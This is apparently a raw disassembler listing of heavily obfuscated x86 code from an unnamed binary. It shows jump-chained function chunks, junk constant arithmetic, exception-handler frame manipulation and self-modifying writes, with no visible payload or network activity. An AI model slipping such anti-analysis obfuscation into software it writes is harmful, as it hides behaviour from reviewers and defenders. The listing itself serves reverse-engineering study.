; START	OF FUNCTION CHUNK FOR sub_43D24F

loc_43E96D:				; CODE XREF: sub_43D24F:loc_43EE38j
		not	ebx
		jmp	loc_44EE81
; END OF FUNCTION CHUNK	FOR sub_43D24F
; ---------------------------------------------------------------------------

locret_43E974:				; CODE XREF: dviuq5id:004519ACj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E87

loc_43E975:				; CODE XREF: sub_439E87+1E05Bj
		jmp	loc_44D1F5
; END OF FUNCTION CHUNK	FOR sub_439E87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_43E97A:				; CODE XREF: sub_459804-A79Ej
		jmp	loc_43FB30
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_43E97F:				; CODE XREF: sub_43CB4C-5E9j
		ror	eax, 18h
		or	edi, 0A4EB6C46h
		popf

loc_43E989:				; CODE XREF: dviuq5id:loc_448AB5j
		call	sub_455600
		test	al, al
		jz	loc_44F00B
		jmp	loc_450081
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
		ror	eax, 7
		jmp	sub_452E2A
; ---------------------------------------------------------------------------

locret_43E9A3:				; CODE XREF: dviuq5id:00451878j
		retn
; ---------------------------------------------------------------------------

loc_43E9A4:				; CODE XREF: dviuq5id:00441D54j
		jmp	loc_452F64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C6B8

loc_43E9A9:				; CODE XREF: sub_44C6B8:loc_4444BCj
		add	eax, 48F35A5h
		jnz	loc_43EA79

loc_43E9B5:				; CODE XREF: sub_4413F5+15F6Cj
		jmp	sub_45288A
; END OF FUNCTION CHUNK	FOR sub_44C6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BD27

loc_43E9BA:				; CODE XREF: sub_44BD27:loc_44BD41j
					; dviuq5id:0044EC5Cj
		jmp	loc_44B803
; END OF FUNCTION CHUNK	FOR sub_44BD27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4556AE

loc_43E9BF:				; CODE XREF: sub_4556AE-1651Ej
		jmp	loc_43EE66
; END OF FUNCTION CHUNK	FOR sub_4556AE
; ---------------------------------------------------------------------------
		adc	eax, 0AD5BB94Ch
		jmp	loc_43EA6D

; =============== S U B	R O U T	I N E =======================================



sub_43E9CF	proc near		; CODE XREF: sub_43FA59:loc_43FE16j
		push	ebp
		xchg	ecx, esi

loc_43E9D2:				; CODE XREF: sub_441F76:loc_456ACFj
		mov	esi, [ecx]
		jmp	loc_45578F
sub_43E9CF	endp

; ---------------------------------------------------------------------------

loc_43E9D9:				; DATA XREF: sub_43B89D+15o
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		xor	edx, edx
		push	edx
		jmp	loc_448E4E

; =============== S U B	R O U T	I N E =======================================



sub_43E9E7	proc near		; CODE XREF: dviuq5id:0043C0CBj
					; sub_43C4B5+1CC5p

; FUNCTION CHUNK AT 0043C51A SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004417C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454BC9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00455458 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	2FD0B99Eh
		pop	ecx
		jmp	loc_455458
sub_43E9E7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_43E9F6:				; CODE XREF: sub_43C2DA+104BBj
		jl	loc_449921
		ror	ebp, 3
		jmp	loc_449A91
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_43EA04:				; CODE XREF: sub_43CB4C+913Bj
		cmp	ebx, 1EF17424h
		jmp	loc_44F7B2
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
		jz	loc_449078
		jmp	sub_451E18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CA06

loc_43EA1A:				; CODE XREF: sub_44CA06+2397j
		sub	eax, 0FECA6A3Dh
		add	eax, 0BCED7E45h
		call	sub_453642
		push	edx
		push	85967193h
		jmp	loc_453E85
; END OF FUNCTION CHUNK	FOR sub_44CA06

; =============== S U B	R O U T	I N E =======================================



sub_43EA36	proc near		; CODE XREF: sub_446682-3952p
					; dviuq5id:00457561j

arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 00456CDA SIZE 00000012 BYTES

		xchg	edi, [esp+0]
		pop	edi
		adc	ebx, eax
		pop	eax
		jmp	loc_456CDA
sub_43EA36	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_43EA42:				; CODE XREF: sub_4525D0:loc_4519D7j
		cmp	eax, esi
		jmp	loc_457EAF
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp-8], 0
		jz	loc_446D78
		jmp	loc_4480FB
; ---------------------------------------------------------------------------

loc_43EA58:				; DATA XREF: dviuq5id:00458CDFo
		popf
		xchg	edx, [esp]
		jmp	sub_453642

; =============== S U B	R O U T	I N E =======================================



sub_43EA61	proc near		; CODE XREF: dviuq5id:0043AD37j
					; sub_43E9E7+161E8p

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx

loc_43EA65:				; CODE XREF: dviuq5id:loc_44BE53j
		xchg	ecx, [esp-4+arg_0]
		jmp	nullsub_21
sub_43EA61	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43EA6D:				; CODE XREF: dviuq5id:0043E9CAj
		jz	loc_44C18F
		jno	loc_43F81B
; START	OF FUNCTION CHUNK FOR sub_44C6B8

loc_43EA79:				; CODE XREF: sub_44C6B8-DD09j
		or	eax, 3ABD79E7h
		add	eax, 0C0000022h
		push	ecx
		jmp	loc_457717
; END OF FUNCTION CHUNK	FOR sub_44C6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_43EA8B:				; CODE XREF: dviuq5id:004552DAj
					; sub_449485+10250j
		rol	ebx, 16h
		sbb	eax, ebx
		jmp	loc_43F494
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AD42

loc_43EA95:				; CODE XREF: sub_44AD42+EF15j
		sub	ecx, 6BA4A435h
		add	ecx, 0CA40BD86h
		mov	[ecx], eax
		pop	ecx
		push	offset loc_44A14C
		jmp	nullsub_395
; END OF FUNCTION CHUNK	FOR sub_44AD42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C84

loc_43EAAE:				; CODE XREF: sub_441C84:loc_452C7Cj
		add	esi, 5E08B4C8h
		xchg	esi, [esp+0]

loc_43EAB7:				; CODE XREF: dviuq5id:loc_4493C3j
		jmp	loc_44A563
; END OF FUNCTION CHUNK	FOR sub_441C84
; ---------------------------------------------------------------------------
		jns	loc_444901
		jmp	sub_44DDEF
; ---------------------------------------------------------------------------
		sub	eax, 0D89C6E6Ch
		jmp	sub_44957C
; ---------------------------------------------------------------------------

loc_43EAD2:				; CODE XREF: dviuq5id:004492B8j
		shr	ecx, 16h

; =============== S U B	R O U T	I N E =======================================



sub_43EAD5	proc near		; CODE XREF: sub_43B1C4+17707p

; FUNCTION CHUNK AT 00453527 SIZE 00000005 BYTES

		xchg	eax, [esp+0]

loc_43EAD8:				; CODE XREF: sub_43BA0E:loc_44D6B9j
		pop	eax
		push	ebx
		mov	ebx, edi
		xchg	ebx, [esp+0]
		push	69093CAh
		jmp	loc_453527
sub_43EAD5	endp

; ---------------------------------------------------------------------------
		popf
		jmp	loc_44A013
; ---------------------------------------------------------------------------

loc_43EAEF:				; DATA XREF: sub_45061D-12116o
		mov	eax, [esp]
		push	edx
		call	sub_44E1C0
		mov	eax, 0D59435E2h
		call	sub_453642

loc_43EB02:				; CODE XREF: dviuq5id:0043C656j
		call	sub_4414C8
; START	OF FUNCTION CHUNK FOR sub_4477D7

loc_43EB07:				; CODE XREF: sub_4477D7+9F03j
		jmp	loc_4392E8
; END OF FUNCTION CHUNK	FOR sub_4477D7
; ---------------------------------------------------------------------------
		jmp	loc_446407

; =============== S U B	R O U T	I N E =======================================



sub_43EB11	proc near		; CODE XREF: dviuq5id:004443BCj
					; sub_448AC0+9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004395F7 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043A7A7 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043D43E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043ED3C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043F7B1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043FAB7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FADA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00440C5C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441119 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441D98 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004429AB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442CBE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444128 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445589 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446818 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446DED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447EBC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00448CF2 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00449510 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044A2A3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AAB8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B736 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044C33D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CBFE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044DF90 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044E695 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044F8BF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044FCD4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00450AED SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00451708 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00451B9F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00452346 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004531E4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045445D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0045476C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00454E95 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455AFD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00456201 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004570FD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00457B3B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00457D65 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457E8D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0045981E SIZE 00000007 BYTES

		xchg	edx, [esp+4+var_4]

loc_43EB14:				; CODE XREF: dviuq5id:loc_45149Cj
		pop	edx
		push	0DC25188Bh
		xchg	eax, [esp+4+var_4]
		mov	ebx, eax
		pop	eax
		add	ebx, 0CA42D530h
		test	ebx, 2000000h
		jmp	loc_441119
sub_43EB11	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F505

loc_43EB31:				; CODE XREF: sub_44F505:loc_43A3B0j
		pop	edi
		sub	edi, 70002810h
		or	edi, 61601D4Bh
		sub	edi, 28A15785h
		add	edi, 0C0F40B16h
		jmp	loc_45416B
; END OF FUNCTION CHUNK	FOR sub_44F505
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457CB8

loc_43EB4F:				; CODE XREF: sub_457CB8:loc_454250j
		lea	eax, loc_43F576
		mov	byte ptr [eax],	0C3h
		jmp	loc_44F624
; END OF FUNCTION CHUNK	FOR sub_457CB8
; ---------------------------------------------------------------------------
		call	nullsub_306
		jmp	ds:dword_41D0BC
; ---------------------------------------------------------------------------

loc_43EB68:				; CODE XREF: dviuq5id:004449B2j
		jmp	loc_44F8D3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_306. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_43B83C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_43EB73:				; CODE XREF: sub_449286:loc_44E4B0j
					; sub_439C09+1522Ej ...
		add	eax, 8E2CED3Eh
		call	sub_44CEFF

loc_43EB7E:				; CODE XREF: dviuq5id:004537EFj
		jmp	loc_43B9BA
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
		xor	eax, 6C4EE922h
		call	sub_4543D3

loc_43EB8E:				; CODE XREF: dviuq5id:loc_457B89j
		sub	esi, 0D3A3B546h
		add	esi, 0A56BC4A2h
		sub	esi, 0E663FB9Ch

loc_43EBA0:				; CODE XREF: dviuq5id:00445D79j
		add	esi, 1470EB08h
		xchg	esi, [esp]
		jmp	loc_458F20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458B72

loc_43EBAE:				; CODE XREF: sub_458B72+1Fj
		jnb	loc_453C37
		jmp	loc_45A667
; END OF FUNCTION CHUNK	FOR sub_458B72
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_383. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43EBBA:				; CODE XREF: dviuq5id:004573FBj
		jmp	locret_457D09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446181

loc_43EBBF:				; CODE XREF: sub_446181+A497j
		jmp	loc_44374D
; END OF FUNCTION CHUNK	FOR sub_446181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C20F

loc_43EBC4:				; CODE XREF: sub_44C20F+Bj
		jmp	loc_44C19B
; END OF FUNCTION CHUNK	FOR sub_44C20F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_324. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_43EBCA:				; CODE XREF: sub_441DDA+E30Fj
		jmp	loc_44AD18
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_43EBCF:				; CODE XREF: sub_44B2EA-EE83j
		jmp	nullsub_409
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_43EBD4:				; CODE XREF: sub_43C4B5:loc_44935Fj
		pop	edi

loc_43EBD5:				; CODE XREF: dviuq5id:loc_44C1CFj
		xor	edi, 2092CFC9h
		and	edi, 6BA14703h
		test	edi, 800000h
		jmp	loc_44FA7B
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_43EBEC:				; CODE XREF: sub_4525D0+518Bj
		jz	loc_459703
		jmp	loc_43AB27
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454142

loc_43EBF7:				; CODE XREF: sub_454142+9ECj
		xor	ebp, edi
		jmp	loc_4569C2
; END OF FUNCTION CHUNK	FOR sub_454142
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450045

loc_43EBFE:				; CODE XREF: sub_450045:loc_45778Ej
		jz	loc_449DEE
; END OF FUNCTION CHUNK	FOR sub_450045
; START	OF FUNCTION CHUNK FOR sub_43CA5B

loc_43EC04:				; CODE XREF: sub_43CA5B:loc_43CA62j
		jmp	nullsub_34
; END OF FUNCTION CHUNK	FOR sub_43CA5B
; ---------------------------------------------------------------------------
		xor	ecx, ebp
		cmp	edi, 0C3739ACAh
		jmp	loc_451D5E
; ---------------------------------------------------------------------------

loc_43EC16:				; CODE XREF: dviuq5id:0043F942j
		jg	loc_44E319
		sub	ebp, eax
		push	ebx
		shl	esi, 1
		jmp	loc_44F42D
; ---------------------------------------------------------------------------

locret_43EC26:				; CODE XREF: dviuq5id:0044ECCDj
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_318. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444F0F

loc_43EC28:				; CODE XREF: sub_444F0F:loc_4585F7j
		or	edx, 0CA7F0C36h
		jnz	loc_4536DF
		rol	eax, 0Ah
		or	edi, eax
		jmp	loc_4536D6
; END OF FUNCTION CHUNK	FOR sub_444F0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45609C

loc_43EC3E:				; CODE XREF: sub_45609C:loc_456BB9j
		or	eax, 0E940B706h
		and	eax, 0C8800D1Dh
		xor	eax, 0ABE2B603h
		add	eax, 3B9CD880h
		add	eax, ebp
		push	offset loc_45A2DA
		jmp	nullsub_253
; END OF FUNCTION CHUNK	FOR sub_45609C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F7C3

loc_43EC62:				; CODE XREF: sub_43F6CD+6j
					; sub_43F7C3+Bj ...
		xor	eax, eax

loc_43EC64:				; CODE XREF: sub_43F6CD+DDC8j
					; sub_442FBA:loc_455832j
		pop	large dword ptr	fs:0
		pop	edx
		pop	ecx
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_43F7C3

; =============== S U B	R O U T	I N E =======================================



sub_43EC6F	proc near		; CODE XREF: sub_43F7C3+2p

; FUNCTION CHUNK AT 0044F25A SIZE 00000012 BYTES

		call	sub_44AC6E

loc_43EC74:				; CODE XREF: sub_4394E7+1EF90j
		jmp	loc_44F25A
sub_43EC6F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449C2A

loc_43EC79:				; CODE XREF: sub_449C2A:loc_43F835j
		rol	eax, 2

loc_43EC7C:				; CODE XREF: dviuq5id:0043E88Aj
		xchg	eax, [ebp+0]
		jge	loc_44C542
		sbb	edi, ebx
		xchg	edx, [edi]
		jmp	loc_439E9D
; END OF FUNCTION CHUNK	FOR sub_449C2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E421

loc_43EC8E:				; CODE XREF: sub_43E421:loc_442A89j
		add	ecx, 0E6E054E3h
		jns	loc_443E85
		xor	ebp, 84B3A4Ch
; END OF FUNCTION CHUNK	FOR sub_43E421
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_43ECA0:				; CODE XREF: sub_43CB4C-533j
		jns	loc_4526B1
		sub	edi, edx
		jmp	loc_443E85
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458BA4

loc_43ECAD:				; CODE XREF: sub_458BA4:loc_444FFFj
		sub	eax, 0DCE831E7h
		xor	eax, 703A02A2h
		add	eax, ebp
		add	eax, 76654C2Eh
		mov	eax, [eax]
		call	sub_443901

loc_43ECC8:				; CODE XREF: sub_44F88A+Ej
		jmp	loc_44D838
; END OF FUNCTION CHUNK	FOR sub_458BA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_43ECCD:				; CODE XREF: sub_44FCBC-9EEDj
		jmp	sub_446465
; END OF FUNCTION CHUNK	FOR sub_44FCBC
; ---------------------------------------------------------------------------

loc_43ECD2:				; CODE XREF: dviuq5id:0044C8A8j
		sub	edx, 0B61CC46Ch

; =============== S U B	R O U T	I N E =======================================



sub_43ECD8	proc near		; CODE XREF: sub_44F5D6-1069Cp
		xchg	esi, [esp+0]
		pop	esi
		push	edx
		push	58D34B23h
		pop	edx
		xor	edx, 0D038A2AAh
		sub	edx, 6A6FA214h
sub_43ECD8	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4559CE

loc_43ECEF:				; CODE XREF: sub_4559CE:loc_44A5BEj
		jmp	loc_44AE0F
; END OF FUNCTION CHUNK	FOR sub_4559CE

; =============== S U B	R O U T	I N E =======================================



sub_43ECF4	proc near		; DATA XREF: sub_451E0A-1216Co

; FUNCTION CHUNK AT 00441027 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00444346 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004482A9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045268C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452E55 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004541A7 SIZE 00000027 BYTES

		cmp	al, 0A4h
		jz	loc_4424F6
		jmp	loc_4482A9
sub_43ECF4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_43ED01:				; CODE XREF: sub_442BFE:loc_44357Bj
		jz	loc_43C5EF
		pushf
		shl	edx, 9
		jmp	loc_43C5EA
; END OF FUNCTION CHUNK	FOR sub_442BFE

; =============== S U B	R O U T	I N E =======================================



sub_43ED10	proc near		; DATA XREF: sub_43F2B4+118EFo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043EEBC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440A13 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00443105 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00443369 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443D78 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446066 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044FBB1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0045242D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00453E03 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454BB9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00455BB9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00455BC5 SIZE 0000000F BYTES

		cmp	byte ptr [eax],	0F1h
		jnz	loc_455BC5
		jmp	loc_443369
sub_43ED10	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_175. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43ED1F:				; CODE XREF: dviuq5id:00443733j
		jmp	loc_458B13
; ---------------------------------------------------------------------------
		shl	ecx, 9
		jmp	sub_43F6CD
; ---------------------------------------------------------------------------
		add	ebx, ecx
		jmp	sub_451F1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456B31

loc_43ED33:				; CODE XREF: sub_456B31:loc_44F44Dj
		xchg	edx, [esp+8+var_8]
		push	eax
		jmp	loc_45A126
; END OF FUNCTION CHUNK	FOR sub_456B31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_43ED3C:				; CODE XREF: sub_43EB11:loc_451708j
					; sub_456B31j
		mov	edx, ds:dword_45235C
		or	edx, edx
		jnz	loc_447EBC
		jmp	loc_44FCD4
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4454D9

loc_43ED4F:				; CODE XREF: sub_4454D9+Cj
		mov	[esi], eax
		push	offset sub_448424
		jmp	nullsub_452
; END OF FUNCTION CHUNK	FOR sub_4454D9
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 5
		mov	ds:dword_441ECC, eax
		retn
; ---------------------------------------------------------------------------

loc_43ED66:				; CODE XREF: dviuq5id:0045999Ej
		jmp	locret_44BE1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_43ED6B:				; CODE XREF: sub_43FDFB+Fj
		call	sub_442BAC
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; START	OF FUNCTION CHUNK FOR sub_43C162

loc_43ED70:				; CODE XREF: sub_43C162+16j
		jmp	loc_44328A
; END OF FUNCTION CHUNK	FOR sub_43C162
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_43ED75:				; CODE XREF: sub_44FCBC-14D40j
		jp	loc_447AD2

loc_43ED7B:				; CODE XREF: sub_44FCBC:loc_43AF68j
		or	edx, 15A23D8h
		and	edx, 0C6D08B9Ah
		rol	edx, 3
		add	edx, 69CECC62h
		jmp	loc_45962B
; END OF FUNCTION CHUNK	FOR sub_44FCBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456EE5

loc_43ED95:				; CODE XREF: sub_456EE5:loc_457A12j
		or	edx, 0CDCC1FE4h
		rol	edx, 1Bh
		sub	edx, 274C1724h
		xor	edx, 2B9A3909h
		add	edx, 0D51AC582h
		xchg	edx, [esp+8+var_8]
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_456EE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_43EDB8:				; CODE XREF: sub_439013+AB4j
		jnz	loc_45473C
		jmp	loc_43B247
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------

loc_43EDC3:				; CODE XREF: dviuq5id:00442030j
					; dviuq5id:loc_45193Cj
		rol	edx, 1Ch
		xor	edx, 0FB1F7D7Bh
		add	edx, 0BE362545h
		mov	edx, [edx]
		or	edx, edx
		jmp	loc_441E80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4477D7

loc_43EDDB:				; CODE XREF: sub_4477D7:loc_4552A8j
		rol	edi, 1
		xor	edi, 51DD8864h
		xchg	edi, [esp+8+var_8]
		lea	eax, [ebp-100h]
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+0Ch+var_C]
		jmp	loc_453480
; END OF FUNCTION CHUNK	FOR sub_4477D7
; ---------------------------------------------------------------------------
		db 0E6h
dword_43EDF8	dd 6D9Eh		; DATA XREF: dviuq5id:00439046w
					; sub_43A887r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_43EDFC:				; CODE XREF: sub_44AB80+5C1Bj
		jmp	loc_4538A8
; END OF FUNCTION CHUNK	FOR sub_44AB80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D2E

loc_43EE01:				; CODE XREF: sub_449D2E-B799j
		jmp	loc_451C6E
; END OF FUNCTION CHUNK	FOR sub_449D2E
; ---------------------------------------------------------------------------
		dw 42AFh
dword_43EE08	dd 0A77E7751h		; DATA XREF: sub_459490-A165r
					; sub_446B53+D641r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_43EE0C:				; CODE XREF: sub_43938B+D8ABj
		jmp	loc_440C0F
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
		db 44h,	43h, 3Ah
dword_43EE14	dd 2A1BBFBFh		; DATA XREF: sub_45288A-E0A8r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_43EE18:				; CODE XREF: sub_448154:loc_448158j
		jmp	loc_43AE81
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------
		db 7Ch,	2, 0FCh
dword_43EE20	dd 1BBF3CE7h		; DATA XREF: dviuq5id:00439E4Dw
					; sub_43E4A4+5r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_43EE24:				; CODE XREF: sub_4492F0+DFB5j
		jmp	nullsub_271
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------

loc_43EE29:				; CODE XREF: dviuq5id:0043AEBCj
		jmp	loc_455105
; ---------------------------------------------------------------------------
		dw 4932h
dword_43EE30	dd 0EFCF392h		; DATA XREF: sub_44C80D:loc_43B462w
					; dviuq5id:0043D4C8r
dword_43EE34	dd 52F729DFh		; DATA XREF: sub_446544-6008r
					; sub_44EAC4+4r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D24F

loc_43EE38:				; CODE XREF: sub_43D24F+10E71j
		jmp	loc_43E96D
; END OF FUNCTION CHUNK	FOR sub_43D24F
; ---------------------------------------------------------------------------
		db 5Dh,	0BAh, 4Eh
dword_43EE40	dd 0C2CC77D5h		; DATA XREF: dviuq5id:0043AFE7w
					; sub_454267+Dr
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C592

loc_43EE44:				; CODE XREF: sub_44C592+8810j
		jmp	loc_43C58C
; END OF FUNCTION CHUNK	FOR sub_44C592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_43EE49:				; CODE XREF: sub_440898+DAE1j
		jmp	loc_448A82
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4192DB

loc_43EE4E:				; CODE XREF: sub_4192DB:loc_44A824j
		jmp	nullsub_67
; END OF FUNCTION CHUNK	FOR sub_4192DB

; =============== S U B	R O U T	I N E =======================================



sub_43EE53	proc near		; CODE XREF: dviuq5id:0044EFEAj
					; sub_442503+E7C0p

var_4		= dword	ptr -4
